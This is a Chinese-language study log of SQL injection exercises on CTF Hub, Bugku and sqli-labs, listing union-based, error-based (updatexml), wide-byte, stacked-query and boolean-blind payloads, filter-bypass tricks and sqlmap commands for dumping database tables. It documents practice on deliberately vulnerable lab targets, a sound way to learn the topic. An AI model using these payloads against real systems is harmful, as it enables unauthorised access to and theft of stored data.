SQL注入
手工注入
CTF Hub——SQL注入–整型注入
- 检查是否存在注入: and语句 —— and 1=1 返回正确 || and 1=2 返回错误
- 使用order by语句查询字段数 参数为3时没有显示 说明字段数为2
- 通过语句id=-1 union select 1,database() 获得当前数据库名 || select group_concat(SCHEMA_NAME) from information_schema.schemata 获得所有数据库名
- 通过语句id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=’sqli’ 获得当前表名 || ‘sqli’可以换成database()
- 通过语句union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’ 获得表中所有列名
- 通过语句id=-1 union select 1,group_concat(flag) from sqli.flag 获得指定数据库的表的列的内容
- 得到flag
CTF Hub——SQL注入–字符型注入
跟整型注入差不多,就是单引号有点儿烦人,使用 # 注释引号 | hackbar里写#不知道为啥竟然不行 转成url编码格式
%23
Bugku CTF——成绩查询–字符型注入
- 数据库:skctf
- 表:fl4g,sc
- 列:skctf_flag
CTF Hub——SQL注入–报错注入
原理:
- 使用updatexml(XML_document, XPath_string, new_value)函数,合法情况则用第三个参数替换,非法情况则会报错并带出查询的结果 | 根据xpath语法规则, ~ 是非法字符——ASCLL码为:0x7e
- 使用left和right函数,获得完整的flag
- left(): 从左开始截取字符串 left(str, length) ——>left(被截取字符串, 截取长度)
- right(): 从右开始截取字符串 right(str, length) ——>right(被截取字符串, 截取长度)
- 检查是否为报错注入:输入1显示查询正确 输入abc查询错误且显示报错信息
- 使用updatexml函数来获取信息
- 通过语句id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1) 回显报错信息查询到数据库名
- 通过语句id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema=”sqli”) ,0x7e),1) 回显报错信息查询到表名
- 通过语句id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name=”flag”) ,0x7e),1) 查询flag表中的列
- 通过语句id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1) 查询flag
- 但是但是但是!这个flag还不全,因为updatexml函数查询出的结果显示长度限制为32位 ,所以还要借助right函数:id=-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1) 查询右半段flag
CTF Hub——SQL注入–MySQL结构
基本和整型注入一样,但是改掉了表和列的名字
表:cqbhiiviny 列:tnorsxhwej
直接用整型注入的套路,得到flag
CTF Hub——SQL注入–过滤空格
和整型差不多,但是不能存在空格
- 输入存在空格的时候显示 Hacker!!! ,可以用x’c’c表名:cdmznubhwv
- 列名:jdmex-hpswv
- 得到flag
布尔盲注和时间盲注用手工注入太麻烦了,懒得写,我觉得应该稍微了解就行吧 (
CTF Hub——SQL注入–Cookie注入
(啊要用bp了都忘得差不多了)
- 用bp或者用hackbar都可以
- 然后就是快乐的整型注入模板,后边的UA和Refer也都差不多
- 表:jivbcjahiu
- 列:moyccjdoqr
- 得到flag
[^UA]: User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。
CTF Hub——SQL注入–UA注入
- 表:zfdtopgual
- 列:rgotgomxjd
[^Refer]: Referer 表示请求的来源,比如什么网站经过链接跳转过来的,是 HTTP 请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer。
CTF Hub——SQL注入–Refer注入
- 表:tgedamzdxj
- 列:bllnvpjpks
sqli-labs-32——宽字节注入
原理:
宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围),
%df’
被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠 \,变成了 %df\’,其中 \ 的十六进制是 %5c ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了
- 宽字节注入大概可以理解为,
‘
会被转为\'
,当存在宽字节注入的时候,注入参数里带入%df%27
,即可把\(%5c)
吃掉id=%df%27||id=%df'
,其余跟字符型注入一样
sqli-labs-38——堆叠注入
- 同时执行多条语句,用
;
分隔,可执行任意语句- 如:id=1’;insert into users(id,username,password) value (99,’kk’,’123456’);%23 执行向数据表中增加信息操作
- 可以通过id=1’;select 1,2,database() 查询数据库
布尔盲注😭
要用到的函数及原理:
- ascii函数:返回字符ascii码值|参数 : str单字符
- length函数:返回字符串的长度|参数 : str 字符串
- left函数:返回从左至右截取固定长度的字符串|参数str,length——str : 字符串、length:截取长度
- substr()/substring函数 : 返回从pos位置开始到length长度的子字符串|参数,str,pos,length——str: 字符串、pos:开始位置、length: 截取长度——原理:在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,可以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误
注入流程:
求当前数据库长度:id=1 and (length(database())=8) || 也可以使用 > 、< 符号来进一步缩小范围
求当前数据库名:
- 判断截取字符是否存在:id=1 and ascii(substr(database(),8,1))
- 从左至右截取一个字符:id=1 and (left(database(),1)=’s’)||从左至右截取两个字符:id=1 and (left(database(),2)=’se’)
- 截取字符判断字符的ascii码从而确定字符:id=1 and (ascii(substr(database(),1,1))=115)||id=1 and (ascii(substr(database(),2,1))=101),可以使用 >,< 符号来比较查找,找到一个范围,最后再确定
求当前数据库中表的个数:id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=4
求当前数据库中其中一个表名的长度:id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6
求当前数据库中其中一个表名:
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–e||id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=’e’
求列名的数量:id=1 and (select count(column_name) from information_schema.columns where table_name=’emails’)=3
求列名的长度:id=1 and (select length(column_name) from information_schema.columns where table_name=’emails’ limit 0,1)=2
求列名:id=1 and ascii(substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)) = 105||id=1 and substr((select column_name from information_schema.columns where table_name=’emails’ limit 2,1),1,4)=’flag’
求字段的数量:id=1 and (select count(flag) from emails)=1
求字段内容的长度:id=1 and (select length(flag) from security.emails limit 0,1)=14
求字段内容:id=1 and ascii(substr((select flag from emails limit 0,1),1,1))=68||id=1 and substr((select flag from emails limit 0,1),1,14)=’flag{sqlyyds!}’
总结:还是比较喜欢用substr函数,可以一下猜一串
常见绕过(虽然但是大部分还没有遇到)
- 绕过空格(注释符/**/,%20)
- 括号绕过空格
- 引号绕过(使用十六进制)
- 逗号绕过(limit使用from或者offset)(substr使用from for属于逗号)
- 比较符号(< >)绕过(使用greatest())
- or and 绕过
- 绕过注释符号(#,–)过滤
- = 绕过 (like)
- 通用绕过(编码)
手工注入总结
- column_name: 列的名称
- information_schema.columns: 表示所有的列的信息
- information_schema: 表示所有信息,包括库、表、列
- information_schema.tables: 表示所有的表的信息
- table_schema: 数据库的名称
- table_name: 表的名称
- 获得当前数据库名:union selcet 1,database()
- 获得当前表名:union select 1,group_concat(table_name)from information_schema.tables where table_schema=’
<数据库名>
‘- 获得表中的列名:union select 1,group_concat(column_name) from information_schema.columns where table_schema=’
<数据库名>
‘ and table_name=’<表名>
‘- 获得指定列的内容:union select 1,group_concat(
<列名>
) from<数据库名>
.<表名>
SQLmap注入
CTF Hub——SQL注入–布尔盲注
- sqlmap.py -u
<目标URL>
–dbs 列出数据库名- sqlmap.py -u
<目标URL>
-D<sqli(数据库名)>
–tables 列出指定数据库的表名- sqlmap.py -u
<目标URL>
-D<sqli(数据库名)>
-T<flag(表名)>
–columns 列出指定数据库的列名- sqlmap.py -u
<目标URL>
-D<sqli(数据库名)>
-T<flag(表名)>
-C<flag(列名)>
–dump 从目标表中得到数据
CTF Hub——SQL注入–时间盲注
和布尔盲注一个套路,就不写咯,但是真的好慢啊……
Bugku——SQL注入
- 一个登录界面,不小心猜到了密码这这这 傻眼.jpg 做题体验 -1-1-1 快乐+1+1+1
- 是个布尔盲注题,看别人wp都是自己写脚本,但是我不会
利用SQLmap进行Post注入
- 靶场:http://testasp.vulnweb.com/Login.asp
- bp抓包,将拦截到的post请求存为txt,放在sqlmap文件夹下(也可以放到别的地方,都随意)
- sqlmap.py -r
<txt路径>
-p<tfUPass(参数名)>
–dbs 列出数据库名 || -r表示加载一个文件,-p指定参数- 接下来就是套路都是套路
sqli-labs
- 学到了很重要的一点就是什么东西最好还是自己多试试,很多人说新版PHP study搭建不了,然鹅并不是,害得我删掉了之前的找了个不怎么好用的旧版,本人已经被气死了,重新下载新版发现根本就是可以用的!!!!无良作者真的害死人!呜呜呜呜之前好不容易弄的数据库也没了QAQ
- 好多题呀…emmm目前打算是有空就做点(英文界面实在不是很友好)
做题记录:
page1:
- 字符型注入
- 报错注入
- 字符型注入多了一个括号–要学会看懂报错